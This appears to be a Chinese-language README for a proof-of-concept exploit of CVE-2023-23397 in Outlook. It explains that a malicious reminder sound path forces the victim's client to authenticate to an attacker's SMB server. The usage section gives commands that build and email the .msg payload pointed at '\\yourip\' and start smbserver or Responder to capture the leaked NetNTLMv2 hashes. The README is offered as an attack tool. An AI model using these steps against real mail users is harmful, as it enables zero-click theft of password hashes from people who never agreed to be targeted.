CVE-2023-23397

影响 Outlook 胖客户端 的 CVE-2023-23397 漏洞的简单且粗糙的概念验证 (PoC)。

描述

Outlook 在用户输入控制方面存在缺陷，允许配置会议和约会提醒的声音。实际上，攻击者无需用户进行任何操作（零点击漏洞），就能强制受害者连接到自己的服务器。

利用此漏洞的攻击者通过 SMB 请求，会获取基于被诱捕用户密码的 NetNTLMv2 摘要。该请求在邮件到达收件箱时立即触发。

PoC 能做什么？

1. 生成 .msg 有效负载。
2. 通过自定义 SMTP 服务器以电子邮件形式发送。

用法

在一个会话中：

python CVE-2023-23397.py

usage: CVE-2023-23397.py [-h] -p PATH
CVE-2023-23397.py: error: the following arguments are required: -p/--path

python CVE-2023-23397.py --path '\\yourip\'

在第二个会话中（根据需要运行 smbserver 或 responder）。

smbserver.py -smb2support SHARE .

演示（手动 PoC）

说明视频（法语）

原文

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/